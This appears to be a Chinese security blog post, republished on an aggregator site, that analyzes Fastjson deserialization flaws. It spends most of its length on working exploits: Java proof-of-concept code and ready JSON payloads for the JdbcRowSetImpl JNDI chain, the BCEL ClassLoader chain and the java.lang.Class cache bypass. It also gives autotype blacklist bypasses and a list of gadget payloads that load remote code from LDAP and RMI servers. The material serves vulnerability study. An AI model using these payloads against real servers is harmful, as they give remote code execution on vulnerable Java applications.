赞
踩
- {"@type":"com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://localhost:1389/Exploit"}
- {"@type":"com.zaxxer.hikari.HikariConfig","healthCheckRegistry":"ldap://localhost:1389/Exploit"}
- //添加依赖
- <dependency>
- <groupId>com.alibaba</groupId>
- <artifactId>fastjson</artifactId>
- <version>1.2.24</version>
- </dependency>
Fastjson 是阿里巴巴的开源JSON解析库,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean。
- package FastJson;
-
- public class Person {
- private String name;
- private int age;
-
- public Person(String name, int age){this.name = name;this.age = age;}
-
- public Person(){System.out.println("constructor");}
-
- public String getName() {System.out.println("getName");return this.name;}
-
- public void setName(String name) {System.out.println("setName");this.name = name;}
-
- public int getAge() {System.out.println("getAge");return this.age;}
-
- public void setAge(int age) { System.out.println("setAge");this.age = age;}
- }
- package FastJson;
- import com.alibaba.fastjson.JSON;
- import com.alibaba.fastjson.JSONObject;
-
-
- public class test {
- public static void main(String[] args) throws Exception{
- //第一种
- String s = "{\"param1\":\"aaa\",\"param2\":\"bbb\"}";
- JSONObject jsonObject = JSON.parseObject(s);
- System.out.println(jsonObject.getString("param1"));
- //第二种
- //String s = "{\"age\":18,\"name\":\"abc\"}";
- //Person person = JSON.parseObject(s,Person.class);
- //第三种
- // String s = "{\"@type\":\"FastJson.Person\",\"age\":18,\"name\":\"abc\"}";
- // JSONObject person = JSON.parseObject(s);
-
- }
- }
可以看到在主函数中一共有FastJson的三种用法,也相对应有三种结果。
- 第一种:
- aaa
- 第二种:
- constructor
- setAge
- setName
- 第三种:
- constructor
- setAge
- setName
- getAge
- getName
可以看到FastJson在转换为对象的时候是通过getter和setter方法来实现赋值的。
其中第一种和第二种方式都没有操作空间,因为转换成的对象的类型都被确定了,不受我们客户端控制,而第三种就大有作为,是通过我们客户端传入的字符串来指定实例化对象的类型。
调用了parse方法,方法处理后返回的就是一个对象了,最后转换成了JSONObject类型的对象,这个类型就是一个map。进parse方法看看。
DefaultJSONParser就是对传入的字符串进行解析
在下面的parse方法中也是解析字符串,第一个字符是{,因此当作json对象解析,调用JSONObject。
这个函数中前面处理key,后面处理value,在处理key时会判断@符,有@就意味着要执行java的反序列化,类进行了loadClass加载。
这里第一步就是获取了javabean的反序列化器,然后用反序列化器进行反序列化操作。在创建类的反序列化器的时候,需要把类里面的东西进行了解,这里就通过build函数,我们再来看一下build函数。
主要就是三部分,这里我折叠了,第一for循环获得所有setter方法,第二for循环获得所有public属性 ,第三个for循环获得所有getter方法。主要通过方法名长度,方法返回值来判断getter和setter,其中getter方法有要求,返回值必须是下面之一,且没有对应的setter方法。后续就会调用这些getter和setter。
然后后面部分就会调用setter方法来讲传入的字符串中的值赋值给实例化的对象,哪些满足条件的getter方法也会调用。中间流程复杂就不讲了,直接跳到后面调用getter方法的地方。
实际上就是在toJSON的时候调用的,因为在构建对象的时候当然要通过setter方法来赋值,现在又要将对象转换成JSON,当然要用getter方法来获取对象属性的值。
然后调用getObjectWriter,与前面的desearialize相对应的,会获取所有getter方法(即使不满足前面说的返回值要是四种类型之一)。
在getFieldValuesMap中调用getter方法获取值,跟进去看看。
一路跟进最后是在get中调用了getter方法 ,这里的调用是会调用所有的getter方法的,包括哪些满足条件的getter方法就会调用两次。
- RMI利用的JDK版本≤ JDK 6u132、7u122、8u113
- LADP利用JDK版本≤ 6u211 、7u201、8u191
- 出网
这个链子很简单,只有两步。
connect方法中是标准的jndi注入,只要控制能控制this.getDataSourceName()的值,且这个connect方法在某个setter或者满足条件的getter中被调用即可。
datasource可以通过set方法kongzhi
connect方法可以通过set方法触发(get方法的返回值不是那几种)。
因此链子就通了。
- package FastJson;
-
- import com.alibaba.fastjson.JSON;
-
- public class FastJsonjdbcrowsetimpl {
- public static void main(String[] args) {
- String s = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"ldap://127.0.0.1:8085/CNlBHEim\",\"AutoCommit\":\"false\"}";
- JSON.parseObject(s);
- }
- }
用yakit打开一个LDAP的恶意服务器(双字节字符要关掉不然执行不了),然后执行poc即可。
引入tomcat依赖
- <dependency>
- <groupId>org.apache.tomcat</groupId>
- <artifactId>tomcat-dbcp</artifactId>
- <version>8.0.36</version>
- </dependency>
这个poc核心是classloader的动态类加载,在com.sun.org.apache.bcel.internal.util包下的classloader类中会判断字节流是不是以BCEL开头,是的话就会实例化这个类。
有一点需要注意在createclass中调用各类decode,所以我们传入的需要进行encode。
在BasicDataSource.createConnectionFactory()中调用了forname方法,这个方法底层就是调用classloader,然后我们向上找getter和setter方法来调用他。
BasicDataSource.createDataSource调用了createConnectionFactory()
BasicDataSource.getConnection()调用了createDataSource(),到这一步逻辑闭环了。
现在还需要我们能控制forname的两个参数
现在我们只需要能够控制forname方法的两个参数即可。
可以看到都能够控制。
- package FastJson;
-
- import java.io.*;
- import com.alibaba.fastjson.JSON;
- import com.sun.org.apache.bcel.internal.classfile.Utility;
- import com.sun.org.apache.bcel.internal.util.ClassLoader;
- import org.apache.tomcat.dbcp.dbcp2.BasicDataSource;
-
- public class FastJsonBcel {
- public static void main(String[] args) throws Exception {
- ClassLoader classLoader = new ClassLoader();
- byte[] bytes = convert("E:\\java_security\\badfile\\hack.class");
- String code = Utility.encode(bytes,true);
- // classLoader.loadClass("$$BCEL$$"+code).newInstance();
- // BasicDataSource basicDataSource = new BasicDataSource();
- // basicDataSource.setDriverClassLoader(classLoader);
- // basicDataSource.setDriverClassName("$$BCEL$$"+code);
- // basicDataSource.getConnection();
- String s = "{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"DriverClassName\":\"$$BCEL$$"+ code +"\",\"DriverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}}";
-
- // parseObject是先parse后toJSON,这样我们才能调用get方法:getConnection()
- JSON.parseObject(s);
- }
-
- private static byte[] convert(String s) throws Exception {
- File file = new File(s);
- if (!file.exists()) {
- throw new FileNotFoundException("文件未找到:" + s);
- }
- try (InputStream inputStream = new FileInputStream(file)) {
- ByteArrayOutputStream byteOutput = new ByteArrayOutputStream();
- byte[] buffer = new byte[4096];
- int bytesRead;
-
- while ((bytesRead = inputStream.read(buffer)) != -1) {
- byteOutput.write(buffer, 0, bytesRead);
- }
-
- return byteOutput.toByteArray();
- }
- }
- }
-
-
- fastjson1.2.25-1.2.32版本:需要未开启AutoTypeSupport。
-
- fastjson1.2.33-1.2.47版本:
在fastjson=>1.2.25之后默认autoTypeSupport属性为false
并且多了一个checkautotype的函数,可以看到返回值是一个class,fastjson后续的版本也都是围绕这个函数来进行过滤和加载类的。使用原来的jdbc链会报错,我们来调试一下报错的过程。
、
跟进去看看 ,这里的autoTypeSupport和expectClass默认都是null、
这里尝试从缓存中读取类(如果之前加载过这个类,就会存到缓存,后续用到的时候就会从缓存中找) ,然后直接返回,注意这里就不会经过后续的黑名单检测。
这个mapping属性就是缓存,存放了类名和类的类型的对应,图片只截取部分。可以看到这个操作是在静态代码块中,也就是默认执行的。这里我们要加载的类是jdbcRowSetImpl,缓存中找不到,也就返回null。
然后再autoTypeSupport为false的时候,就会进行黑白名单的检测。
然后就是在这里被检测出来从而报错。
使用黑名单外的类来rce基本不可能,我们就得想办法不经过黑名单。前面提到缓存中如果有相应的类就会直接返回,不会经过黑名单,所以我们就考虑如何往mapping中放入我们的恶意类。
可以看到在classloader中能调用put,再找loadclass再哪里调用,最后找到
这里需要class等于Class类型。
看这个类其实是一个反序列化器,后面会被放到deserializers的缓存中,以后反序列化什么类就会找到相应的反序列化器。
但是有个条件,要实例化成的Class类的键值必须等于val。
然后会将val键对应的值存入objVal和strVal,也就是我们的恶意类的类名
然后loadClass传入strVal
最后放进我们的缓存。
还是用yakit起一个本地Ldap服务
- package FastJson;
- import com.alibaba.fastjson.JSON;
- public class fastjsonAutotype {
- public static void main(String[] args){
- //第一步:反序列化一个Class类,值为恶意类
- //用之前payload从缓存中继续加载
- String s = "{{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"ldap://127.0.0.1:6666/CNlBHEim\",\"AutoCommit\":\"false\"}}";
- JSON.parseObject(s);
- }
- }
- String ParsePayload2 = "{" +
- "{\"@type\":\"java.lang.Class\",\"val\":\"org.apache.tomcat.dbcp.dbcp.BasicDataSource\"}:\"aaa\"," +
- "{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}:\"bbb\"," +
- "{" +
- "\"@type\":\"com.alibaba.fastjson.JSONObject\"," +
- "\"xxx\":{"+
- "\"@type\":\"org.apache.tomcat.dbcp.dbcp.BasicDataSource\"," +
- "\"driverClassLoader\":{" +
- "\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"" +
- "}," +
- "\"driverClassName\":\"$$BCEL$$...\"" +
- "}" +
- "}:\"aaa\""+
- "}";
条件:
-
-
- 此利用连版本要求比较麻烦
-
- 1.2.25~1.2.32之间用不了BasicDataSource链
-
- 1.2.37以上不行
- package FastJson;
- import com.alibaba.fastjson.JSON;
- import com.sun.org.apache.bcel.internal.classfile.Utility;
- import com.sun.org.apache.bcel.internal.util.ClassLoader;
-
- import java.io.*;
-
- public class fastjsonAutotype {
- public static void main(String[] args) throws Exception{
- //第一步:反序列化一个Class类,值为恶意类
- //用之前payload从缓存中继续加载
- //链1
- // String s = "{{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"ldap://127.0.0.1:6666/CNlBHEim\",\"AutoCommit\":\"false\"}}";
- //链2
- ClassLoader classLoader = new ClassLoader();
- byte[] bytes = convert("E:\\java_security\\badfile\\hack.class");
- String code = Utility.encode(bytes,true);
- String s = "{" +
- "{\"@type\":\"java.lang.Class\",\"val\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\"}:\"aaa\"," +
- "{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}:\"bbb\"," +
- "{" +
- "\"@type\":\"com.alibaba.fastjson.JSONObject\"," +
- "\"xxx\":{"+
- "\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\"," +
- "\"driverClassLoader\":{" +
- "\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"" +
- "}," +
- "\"driverClassName\":\"$$BCEL$$"+code+"\"" +
- "}" +
- "}:\"aaa\""+
- "}";
- System.out.println(s);
- JSON.parseObject(s);
- }
- private static byte[] convert(String s) throws Exception {
- File file = new File(s);
- if (!file.exists()) {
- throw new FileNotFoundException("文件未找到:" + s);
- }
- try (InputStream inputStream = new FileInputStream(file)) {
- ByteArrayOutputStream byteOutput = new ByteArrayOutputStream();
- byte[] buffer = new byte[4096];
- int bytesRead;
-
- while ((bytesRead = inputStream.read(buffer)) != -1) {
- byteOutput.write(buffer, 0, bytesRead);
- }
-
- return byteOutput.toByteArray();
- }
- }
- }
条件:
与上面的链1适用版本不同,1.2.33~1.2.47
- String s = "{" +
- "{\"@type\":\"java.lang.Class\",\"val\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\"}:\"aaa\"," +
- "{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}:\"bbb\"," +
- "{" +
- "\"@type\":\"com.alibaba.fastjson.JSONObject\"," +
- "\"xxx\":{"+
- "\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\"," +
- "\"driverClassLoader\":{" +
- "\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"" +
- "}," +
- "\"driverClassName\":\"$$BCEL$$" + code + "\"" +
- "}" +
- "}:{\"aaa\":\"bbb\"}"+
- "}";
前面部分都是autoTypeSupport为false的情况,如果开发者设置为true,那又有很多绕过,这里就不一一分析了,已经有师傅写的很全面了,这里直接放链接。
fastjson反序列化_学习 | AsaL1n's blog
FastJSON(全系漏洞分析-截至20230325) - FreeBuf网络安全行业门户
- if (className.startsWith("L") && className.endsWith(";")) {
- String newClassName = className.substring(1, className.length() - 1);
- return loadClass(newClassName, classLoader);
- }
如果类名以L开头,;结尾,则会直接loadclass而不经过黑名单。
- package FastJson;
- import com.alibaba.fastjson.JSON;
- import com.alibaba.fastjson.parser.ParserConfig;
- public class Lfastjson {
- public static void main(String[] args) {
- String PoC = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\", \"dataSourceName\":\"ldap://127.0.0.1:8085/yIbdwOih\", \"autoCommit\":true}";
- ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
- JSON.parse(PoC);
-
- }
- }
1.2.42版本将黑名单变成hashcode, 不过已经被碰撞出来了大部分https://github.com/LeadroyaL/fastjson-blacklist
而在checkAutoType中
会对L
开头;
结尾的className先进行去除,然后在使用TypeUtils.loadClass(typeName, this.defaultClassLoader)
加载类
这里双写L和;即可绕过
- package FastJson;
- import com.alibaba.fastjson.JSON;
- import com.alibaba.fastjson.parser.ParserConfig;
- public class Lfastjson {
- public static void main(String[] args) {
- String PoC = "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\", \"dataSourceName\":\"ldap://127.0.0.1:8085/yIbdwOih\", \"autoCommit\":true}";
- ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
- JSON.parse(PoC);
-
- }
- }
同样在checkAutoType中,判断前两个字符不能为L,否则抛异常,可以使用[
绕过
- package FastJson;
- import com.alibaba.fastjson.JSON;
- import com.alibaba.fastjson.parser.ParserConfig;
- public class Lfastjson {
- public static void main(String[] args) {
- String PoC ="{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{,\"dataSourceName\":\"ldap://127.0.0.1:8085/yIbdwOih\",\"autoCommit\":true" ;
- ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
- JSON.parse(PoC);
-
- }
- }
在1.2.44中修改[
符号产生的绕过
不过依然可以使用黑名单不存在的类进行绕过,不过需要存在mybatis3.x.x系列<3.5.0
- <dependency>
- <groupId>org.mybatis</groupId>
- <artifactId>mybatis</artifactId>
- <version>3.5.11</version>
- </dependency>
- package FastJson;
- import com.alibaba.fastjson.JSON;
- import com.alibaba.fastjson.parser.ParserConfig;
- public class Lfastjson {
- public static void main(String[] args) {
- String PoC ="{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\"properties\":{\"data_source\":\"ldap://127.0.0.1:8085/yIbdwOih\"}}";
- ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
- JSON.parse(PoC);
-
- }
- }
在这个版本里面修复了json内置绕过,里面能够利用的漏洞主要还是一些组件漏洞。
存在可控的lookup参数点
- public T getInstance() {
- try {
- if(requiredType != null) {
- return requiredType.cast(this.lookup(resourceName, requiredType));
- } else {
- return (T) this.lookup(resourceName);
- }
- package org.example.fastjson.other;
-
- import com.alibaba.fastjson.JSON;
- import com.alibaba.fastjson.parser.ParserConfig;
-
- public class AutoCloseable {
- public static void main(String[] args){
- String poc = "{\"@type\":\"org.apache.shiro.jndi.JndiObjectFactory\",\"resourceName\":\"ldap://127.0.0.1:7777/evil\"}";
- ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
- System.out.println(JSON.parseObject(poc));
- }
- }
- private Object getObjectOrPerformJndiLookup(Object object)
- {
- if (object instanceof String) {
- try {
- InitialContext initCtx = new InitialContext();
- return initCtx.lookup((String) object);
- }
- catch (NamingException e) {
- throw new IllegalArgumentException(e);
- }
- }
- return object;
传递的参数是metricRegistry进入到lookup中,参数可以控制
- package org.example.fastjson.other;
-
- import com.alibaba.fastjson.JSON;
- import com.alibaba.fastjson.parser.ParserConfig;
-
- public class metricRegistry {
- public static void main(String[] args) {
- String poc ="{\"@type\":\"br.com.anteros.dbcp.AnterosDBCPConfig\",\"metricRegistry\":\"ldap://127.0.0.1:8080/evil\"}";
- ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
- JSON.parseObject(poc);
- }
- }
-
jndiNames可控导致注入
- package org.example.fastjson.other;
-
- import com.alibaba.fastjson.JSON;
- import com.alibaba.fastjson.parser.ParserConfig;
-
- public class metricRegistry {
- public static void main(String[] args) {
- String poc ="{\"@type\":\"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup\",\"jndiNames\":\"ldap://127.0.0.1:8080/evil\"}";
- ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
- JSON.parseObject(poc);
- }
- }
-
- public void setProperties(Properties props) throws SQLException, TransactionException {
- String utxName = null;
- try {
- utxName = (String) props.get("UserTransaction");
- InitialContext initCtx = new InitialContext();
- userTransaction = (UserTransaction) initCtx.lookup(utxName);
- } catch (NamingException e) {
- throw new SqlMapException("Error initializing JtaTransactionConfig while looking up UserTransaction (" + utxName + "). Cause: " + e);
- }
- }
参数可以控制
- package org.example.fastjson.other;
-
- import com.alibaba.fastjson.JSON;
- import com.alibaba.fastjson.parser.ParserConfig;
-
- public class metricRegistry {
- public static void main(String[] args) {
- String poc =" {\"@type\":\"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig\",\"properties\": {\"@type\":\"java.util.Properties\",\"UserTransaction\":\"ldap://127.0.0.1:8080/evil/\"}}";
- ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
- JSON.parseObject(poc);
- }
- }
-
- {
- "@type":"java.lang.AutoCloseable",
- "@type":"oracle.jdbc.rowset.OracleJDBCRowSet",
- "dataSourceName":"ldap://localhost:1389/test",
- "command":"a"
- }
需要开启AutoType
- {"@type":"com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://localhost:1389/Exploit"}
- {"@type":"com.zaxxer.hikari.HikariConfig","healthCheckRegistry":"ldap://localhost:1389/Exploit"}
无需开启autotype
- {"@type":"oracle.jdbc.connector.OracleManagedConnectionFactory","xaDataSourceName":"rmi://10.10.20.166:1099/ExportObject"}
- {"@type":"org.apache.commons.configuration.JNDIConfiguration","prefix":"ldap://10.10.20.166:1389/ExportObject"}
开启autotype
- {"@type":"oracle.jdbc.connector.OracleManagedConnectionFactory","xaDataSourceName":"rmi://10.10.20.166:1099/ExportObject"}
- {"@type":"org.apache.commons.configuration.JNDIConfiguration","prefix":"ldap://10.10.20.166:1389/ExportObject"}
利用条件:
利用载荷:
- {"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://127.0.0.1:1098/exploit"}
- {"@type":"org.apache.cocoon.components.slide.impl.JMSContentInterceptor", "parameters": {"@type":"java.util.Hashtable","java.naming.factory.initial":"com.sun.jndi.rmi.registry.RegistryContextFactory","topic-factory":"ldap://localhost:1389/Exploit"}, "namespace":""}
利用条件:
开启AutoType
JNDI注入利用所受的JDK版本限制
org.apache.shiro.jndi.JndiObjectFactory类需要shiro-core和slf4j-api依赖
org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup类需要ignite-core、ignite-jta和jta依赖
- {"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup", "jndiNames":["ldap://localhost:1389/Exploit"], "tm": {"$ref":"$.tm"}}
- {"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://localhost:1389/Exploit","instance":{"$ref":"$.instance"}}
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。